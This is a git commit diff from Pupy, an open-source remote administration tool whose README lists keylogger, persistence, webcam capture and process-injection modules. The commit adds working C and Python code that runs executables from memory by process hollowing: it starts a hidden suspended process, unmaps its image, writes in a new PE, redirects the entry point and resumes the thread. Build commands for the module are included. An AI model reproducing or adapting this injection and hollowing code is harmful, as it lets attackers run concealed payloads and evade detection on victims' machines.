PE memory execution !

This commit is contained in:
n1nj4sec 2015-10-08 19:36:37 +02:00
parent 1f52562beb
commit e915574e56
12 changed files with 642 additions and 46 deletions

View File

@ -17,12 +17,13 @@ Pupy is an opensource, multi-platform Remote Administration Tool written in Pyth
- commands aliases can be defined in the config - commands aliases can be defined in the config
## Implemented Modules : ## Implemented Modules :
- migrate (windows only) - migrate
- inter process architecture injection also works (x86->x64 and x64->x86) - inter process architecture injection also works (x86->x64 and x64->x86)
- keylogger (windows only) - keylogger
- persistence (windows only) - persistence
- screenshot (windows only) - screenshot
- webcam snapshot (windows only) - webcam snapshot
- in memory execution of PE exe both x86 and x64 :)
- command execution - command execution
- download - download
- upload - upload
@ -77,6 +78,8 @@ python reverse_ssl.py 192.168.0.1:443
![screenshot7](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/interactive_shell.png "screenshot7") ![screenshot7](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/interactive_shell.png "screenshot7")
#####interactive python shell #####interactive python shell
![screenshot8](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/pyshell.png "screenshot8") ![screenshot8](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/pyshell.png "screenshot8")
#####upload and run another PE exe from memory
![screenshot9](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/memory_exec.png "screenshot9")
##Example: How to write a MsgBox module ##Example: How to write a MsgBox module
first of all write the function/class you want to import on the remote client first of all write the function/class you want to import on the remote client
@ -121,14 +124,24 @@ Some ideas without any priority order
- add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc... - add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc...
- integrate scapy in the windows dll :D (that would be fun) - integrate scapy in the windows dll :D (that would be fun)
- work on stealthiness and modules under unix systems - work on stealthiness and modules under unix systems
- webcam snap
- mic recording - mic recording
- socks5 udp support - socks5 udp support
- remote port forwarding - remote port forwarding
- perhaps write some documentation - perhaps write some documentation
- The backdoor factory ?
- Impacket ?
- exfiltration through obfsproxy obfuscated network stream ?
- ... - ...
- any cool idea ? - any cool idea ?
## FAQ
> Does the server works on windows ?
Yes but it has not really been tested and it may be unstable
> I can't install it how does it work ?
pip install rpyc
> hey c4n y0u add a DDOS module plzz?
No.
## Contact ## Contact
by mail: contact@n1nj4.eu by mail: contact@n1nj4.eu
on Twitter: [Follow me on twitter](https://twitter.com/n1nj4sec) on Twitter: [Follow me on twitter](https://twitter.com/n1nj4sec)

View File

@ -1,18 +1,6 @@
/* /*
# -------------------------------------------------------------- For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h".
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) For the standalone .pyd we need <Python.h>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
*/ */
#include "Python-dynload.h" #include "Python-dynload.h"
@ -59,21 +47,16 @@ Py_reflective_inject_dll(PyObject *self, PyObject *args)
const char *cpCommandLine; const char *cpCommandLine;
PyObject* py_is64bit; PyObject* py_is64bit;
int is64bits; int is64bits;
if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit)) if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
return NULL; return NULL;
is64bits = PyObject_IsTrue(py_is64bit); is64bits = PyObject_IsTrue(py_is64bit);
if(is64bits){
if(is64bits)
is64bits=PROCESS_ARCH_X64; is64bits=PROCESS_ARCH_X64;
else }else{
is64bits=PROCESS_ARCH_X86; is64bits=PROCESS_ARCH_X86;
}
if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS) if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS)
return NULL; return NULL;
return PyBool_FromLong(1); return PyBool_FromLong(1);
} }

View File

@ -1,19 +1,3 @@
/*
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
*/
#define QUIET // uncomment to avoid debug prints #define QUIET // uncomment to avoid debug prints
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
@ -62,6 +46,15 @@ DWORD WINAPI mainThread(LPVOID lpArg)
char tmp_manifest_path[MAX_PATH]; char tmp_manifest_path[MAX_PATH];
char tmp_path[MAX_PATH]; char tmp_path[MAX_PATH];
ULONG_PTR cookie = 0; ULONG_PTR cookie = 0;
/*
ACTCTX ctx;
BOOL activated;
HANDLE k32;
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
*/
PyGILState_STATE restore_state; PyGILState_STATE restore_state;
if(!GetModuleHandle("msvcr90.dll")){ if(!GetModuleHandle("msvcr90.dll")){
@ -78,6 +71,41 @@ DWORD WINAPI mainThread(LPVOID lpArg)
GetTempPath(MAX_PATH, tmp_path); GetTempPath(MAX_PATH, tmp_path);
//InitializeCriticalSection(&csInit); //InitializeCriticalSection(&csInit);
/*
k32 = LoadLibrary("kernel32");
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
if (!CreateActCtx || !ActivateActCtx)
{
return 0;
}
ZeroMemory(&ctx, sizeof(ctx));
ctx.cbSize = sizeof(ACTCTX);
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
f=fopen(tmp_manifest_path,"w");
fprintf(f,"%s",resource_python_manifest);
fclose(f);
#ifndef QUIET
fprintf(stderr,"manifest written to %s\n",tmp_manifest_path);
#endif
ctx.lpSource = tmp_manifest_path;
MyActCtx=CreateActCtx(&ctx);
if (MyActCtx != NULL)
{
AddRefActCtx(MyActCtx);
}
#ifndef QUIET
DeleteFile(tmp_manifest_path);
#endif
*/
if(!Py_IsInitialized) if(!Py_IsInitialized)
{ {
@ -149,6 +177,9 @@ DWORD WINAPI mainThread(LPVOID lpArg)
fprintf(stderr,"initpupy()\n"); fprintf(stderr,"initpupy()\n");
#endif #endif
//mod = PyImport_ImportModule("sys");
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
/* We execute then in the context of '__main__' */ /* We execute then in the context of '__main__' */
#ifndef QUIET #ifndef QUIET
@ -178,6 +209,13 @@ DWORD WINAPI mainThread(LPVOID lpArg)
//if (PyErr_Occurred()) //if (PyErr_Occurred())
// PyErr_Print(); // PyErr_Print();
Py_Finalize(); Py_Finalize();
/*
if (!DeactivateActCtx(0, actToken)){
#ifndef QUIET
fprintf(stderr,"LOADER: Error deactivating context!\n!");
#endif
}
*/
//DeleteCriticalSection(&csInit); //DeleteCriticalSection(&csInit);
return 0; return 0;

Binary file not shown.

After

Width:  |  Height:  |  Size: 748 KiB

View File

@ -0,0 +1,71 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from pupylib.PupyModule import *
__class_name__="MemoryExec"
class MemoryExec(PupyModule):
""" execute a PE executable from memory """
interactive=1
def __init__(self, *args, **kwargs):
PupyModule.__init__(self,*args, **kwargs)
self.interrupted=False
self.mp=None
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended')
self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved')
self.arg_parser.add_argument('--interactive', action='store_true', help='interactive with the new process stdin/stdout')
self.arg_parser.add_argument('path', help='path to the exe')
self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe')
@windows_only
def is_compatible(self):
pass
def interrupt(self):
self.info("interrupting remote process, please wait ...")
if self.mp:
self.mp.close()
res=self.mp.get_stdout()
self.log(res)
def run(self, args):
if args.interactive:
#TODO
self.error("interactive memory execution has not been implemented yet")
return
wait=True
redirect_stdio=True
if args.fork:
wait=False
redirect_stdio=False
raw_pe=b""
with open(args.path,'rb') as f:
raw_pe=f.read()
self.client.load_package("pupymemexec")
self.client.load_package("pupwinutils.memexec")
res=""
self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio)
self.mp.run()
while True:
if self.mp.wait(1):
break
self.mp.close()
res=self.mp.get_stdout()
self.log(res)

View File

@ -0,0 +1,296 @@
/*
* Prototype for in-memory executable execution.
*
* Improvements that need to be made:
*
* - Support passing arguments to the executable
* - General testing with various executables
*
* skape
* mmiller@hick.org
* 05/09/2005
*
* x64 implementation RageLtMan [at] sempervictus.com
* - original PE based method by steve10120 [at] ic0de.org
*/
//#include "precomp.h"
#ifndef _WIN32
typedef ULONG NTSTATUS;
#endif
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
} PROCESSINFOCLASS;
typedef struct _MINI_PEB
{
ULONG Flags;
LPVOID Mutant;
LPVOID ImageBaseAddress;
} MINI_PEB, *PMINI_PEB;
typedef struct _PROCESS_BASIC_INFORMATION
{
NTSTATUS ExitStatus;
PMINI_PEB PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage);
//
// Maps the contents of the executable image into the new process and unmaps
// the original executable. All necessary fixups are performed to allow the
// transfer of execution control the new executable in a seamless fashion.
//
#ifdef _WIN64
//
// based on MemExec64 source by steve10120 [at] ic0de.org
// clever method of getting contextinformation for entry point data, x64 doesnt give us ThreadContext.Eax
// adaptation for in-mem-exe.c by RageLtMan
// TODO: add wow64 launcher, add src/target image arch checks
//
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage);
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
DWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment)
{
DWORD_PTR dwResult = Value;
if (Alignment > 0)
{
if ((Value % Alignment) > 0)
dwResult = (Value + Alignment) - (Value % Alignment);
}
return dwResult;
}
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage)
{
PROCESS_INFORMATION BasicInformation;
PIMAGE_SECTION_HEADER SectionHeader;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS NtHeader64;
DWORD_PTR dwImageBase;
NtUnmapViewOfSection pNtUnmapViewOfSection;
LPVOID pImageBase;
SIZE_T dwBytesWritten;
SIZE_T dwBytesRead;
int Count;
PCONTEXT ThreadContext;
BOOL Success = FALSE;
DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;
if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
NtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD)NewExecutableRawImage + DosHeader->e_lfanew);
if (NtHeader64->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION));
ThreadContext = (PCONTEXT)VirtualAlloc(NULL, sizeof(ThreadContext) + 4, MEM_COMMIT, PAGE_READWRITE);
ThreadContext = (PCONTEXT)Align((DWORD)ThreadContext, 4);
ThreadContext->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(TargetThreadHandle, ThreadContext)) //used to be LPCONTEXT(ThreadContext)
{
ReadProcessMemory(TargetProcessHandle, (LPCVOID)(ThreadContext->Rdx + 16), &dwImageBase, sizeof(DWORD_PTR), &dwBytesRead);
pNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if (pNtUnmapViewOfSection)
pNtUnmapViewOfSection(TargetProcessHandle, (PVOID)dwImageBase);
pImageBase = VirtualAllocEx(TargetProcessHandle, (LPVOID)NtHeader64->OptionalHeader.ImageBase, NtHeader64->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(TargetProcessHandle, pImageBase, (LPCVOID)NewExecutableRawImage, NtHeader64->OptionalHeader.SizeOfHeaders, &dwBytesWritten);
SectionHeader = IMAGE_FIRST_SECTION(NtHeader64);
for (Count = 0; Count < NtHeader64->FileHeader.NumberOfSections; Count++)
{
WriteProcessMemory(TargetProcessHandle, (LPVOID)((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, &dwBytesWritten);
SectionHeader++;
}
WriteProcessMemory(TargetProcessHandle, (LPVOID)(ThreadContext->Rdx + 16), (LPVOID)&NtHeader64->OptionalHeader.ImageBase, sizeof(DWORD_PTR), &dwBytesWritten);
ThreadContext->Rcx = (DWORD_PTR)pImageBase + NtHeader64->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(TargetThreadHandle, (LPCONTEXT)ThreadContext);
ResumeThread(TargetThreadHandle);
Success = TRUE;
}
else
TerminateProcess(TargetProcessHandle, 0);
//VirtualFree(ThreadContext, 0, MEM_RELEASE);
}
}
}
return Success;
}
#else
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage)
{
PROCESS_BASIC_INFORMATION BasicInformation;
PIMAGE_SECTION_HEADER SectionHeader;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS NtHeader;
PMINI_PEB ProcessPeb;
NTSTATUS (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL;
NTSTATUS (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL;
NTSTATUS Status;
CONTEXT ThreadContext;
LPVOID OldEntryPoint = NULL;
LPVOID TargetImageBase = NULL;
ULONG SectionIndex = 0;
ULONG SizeOfBasicInformation;
BOOL Success = FALSE;
//
// Error checking? Bah.
//
DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;
NtHeader = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew);
do
{
//
// Get the old entry point address by inspecting eax of the current
// thread (which should be BaseProcessStart). Eax holds the address
// of the entry point for the executable when the process is created
// suspended.
//
ZeroMemory(
&ThreadContext,
sizeof(ThreadContext));
ThreadContext.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(
TargetThreadHandle,
&ThreadContext))
{
break;
}
OldEntryPoint = (LPVOID) NtHeader->OptionalHeader.ImageBase;
//
// Unmap the old executable region in the child process to avoid
// conflicts
//
NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress(
GetModuleHandle(
TEXT("NTDLL")),
"NtUnmapViewOfSection");
NtUnmapViewOfSection(TargetProcessHandle, OldEntryPoint);
//
// Change the entry point address to the new executable's entry point
//
ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint +
NtHeader->OptionalHeader.ImageBase;
if (!SetThreadContext(
TargetThreadHandle,
&ThreadContext))
break;
//
// Allocate storage for the new executable in the child process
//
if (!(TargetImageBase = VirtualAllocEx(
TargetProcessHandle,
(LPVOID)NtHeader->OptionalHeader.ImageBase,
NtHeader->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)))
break;
//
// Update the executable's image base address in the PEB...
//
NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress(
GetModuleHandle(
TEXT("NTDLL")),
"NtQueryInformationProcess");
if (NtQueryInformationProcess(
TargetProcessHandle,
ProcessBasicInformation,
&BasicInformation,
sizeof(BasicInformation),
&SizeOfBasicInformation) != ERROR_SUCCESS)
break;
ProcessPeb = BasicInformation.PebBaseAddress;
if (!WriteProcessMemory(
TargetProcessHandle,
(LPVOID)&ProcessPeb->ImageBaseAddress,
(LPVOID)&NtHeader->OptionalHeader.ImageBase,
sizeof(LPVOID),
NULL))
break;
//
// Copy the image headers and all of the section contents
//
if (!WriteProcessMemory(
TargetProcessHandle,
TargetImageBase,
NewExecutableRawImage,
NtHeader->OptionalHeader.SizeOfHeaders,
NULL))
break;
Success = TRUE;
for (SectionIndex = 0,
SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
SectionIndex < NtHeader->FileHeader.NumberOfSections;
SectionIndex++)
{
//
// Skip uninitialized data
//
if ((!SectionHeader[SectionIndex].SizeOfRawData) ||
(SectionHeader[SectionIndex].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA))
continue;
if (!WriteProcessMemory(
TargetProcessHandle,
(LPVOID)((PCHAR)TargetImageBase +
SectionHeader[SectionIndex].VirtualAddress),
(LPVOID)((PCHAR)NewExecutableRawImage +
SectionHeader[SectionIndex].PointerToRawData),
SectionHeader[SectionIndex].SizeOfRawData,
NULL))
{
Success = FALSE;
break;
}
}
} while (0);
return Success;
}
#endif /* _WIN64 */

View File

@ -0,0 +1 @@
cl.exe pupymemexec.c /LD /D_WIN32 /IC:\Python27\include C:\Python27\libs\python27.lib /Fepupymemexec.pyd

View File

@ -0,0 +1 @@
cl.exe pupymemexec.c /LD /D_WIN64 /IC:\Python27\include C:\Python27\libs\python27.lib /Fepupymemexec.pyd

View File

@ -0,0 +1,91 @@
/*
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
*/
#include <stdio.h>
#include <windows.h>
#include <Python.h>
#include "in-mem-exe.c"
static char module_doc[] = "pupymemexec allows pupy to execute PE executables from memory !";
static PyObject *Py_run_pe_from_memory(PyObject *self, PyObject *args)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
SECURITY_ATTRIBUTES saAttr={ sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL;
BOOL inherit=FALSE;
PyObject* py_redirect_stdio=Py_False;
PyObject* py_hidden=Py_True;
DWORD createFlags=CREATE_SUSPENDED|CREATE_NEW_CONSOLE;
char *cmd_line;
char *pe_raw_bytes;
int pe_raw_bytes_len;
if (!PyArg_ParseTuple(args, "ss#|OO", &cmd_line, &pe_raw_bytes, &pe_raw_bytes_len, &py_redirect_stdio, &py_hidden))
return NULL;
memset(&si,0,sizeof(STARTUPINFO));
memset(&pi,0,sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
if(PyObject_IsTrue(py_hidden)){
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}
if(PyObject_IsTrue(py_redirect_stdio)){
if(!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0) | !CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)){
return PyErr_Format(PyExc_Exception, "Error in CreatePipe: Errno %d", GetLastError());
}
//if (! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
// return PyErr_SetFromWindowsErr(0);
//if (! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
// return PyErr_SetFromWindowsErr(0);
si.hStdInput = g_hChildStd_IN_Rd;
si.hStdOutput = g_hChildStd_OUT_Wr;
si.hStdError = g_hChildStd_OUT_Wr;
si.dwFlags |= STARTF_USESTDHANDLES;
inherit=TRUE;
}
if(!CreateProcess(NULL, cmd_line, &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi)){
return PyErr_Format(PyExc_Exception, "Error in CreateProcess: Errno %d", GetLastError());
}
if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, pe_raw_bytes)){
return PyErr_Format(PyExc_Exception, "Error in MapNewExecutableRegionInProcess: Errno %d", GetLastError());
}
if (ResumeThread(pi.hThread) == (DWORD)-1){
return PyErr_Format(PyExc_Exception, "Error in ResumeThread: Errno %d", GetLastError());
}
return Py_BuildValue("(IIIII)", pi.hProcess, g_hChildStd_IN_Wr, g_hChildStd_OUT_Rd, g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr);
}
static PyMethodDef methods[] = {
{ "run_pe_from_memory", Py_run_pe_from_memory, METH_VARARGS|METH_KEYWORDS, "run_pe_from_memory(cmdline, raw_pe, redirected_stdio=True, hidden=True)" },
{ NULL, NULL },
};
DL_EXPORT(void)
initpupymemexec(void)
{
Py_InitModule3("pupymemexec", methods, module_doc);
}

View File

@ -0,0 +1,102 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
import sys
import pupymemexec
import time
import os
import ctypes
from ctypes.wintypes import DWORD
import traceback
import time
WAIT_TIMEOUT=0x00000102
def ReadFile(handle, desired_bytes, ol = None):
c_read = DWORD()
buffer = ctypes.create_string_buffer(desired_bytes+1)
success = ctypes.windll.kernel32.ReadFile(handle, buffer, desired_bytes, ctypes.byref(c_read), ol)
if not success:
last_error=ctypes.windll.kernel32.GetLastError()
if last_error==0x6D:#ERROR_BROKEN_PIPE
return ""
raise WindowsError("ReadFile failed Errno: 0x%x"%last_error)
buffer[c_read.value] = '\x00'
return buffer.value
class MemoryPE(object):
""" run a pe from memory. The program output is displayed on program exit. You can set a timeout or raise KeyboardInterrupt to kill the program. If a timeout is set it will kill the program when it reaches the delay """
def __init__(self, raw_pe, args=[], suspended_process="cmd.exe", redirect_stdio=True, hidden=True):
self.cmdline=suspended_process
if args:
self.cmdline+=" "+" ".join(args)
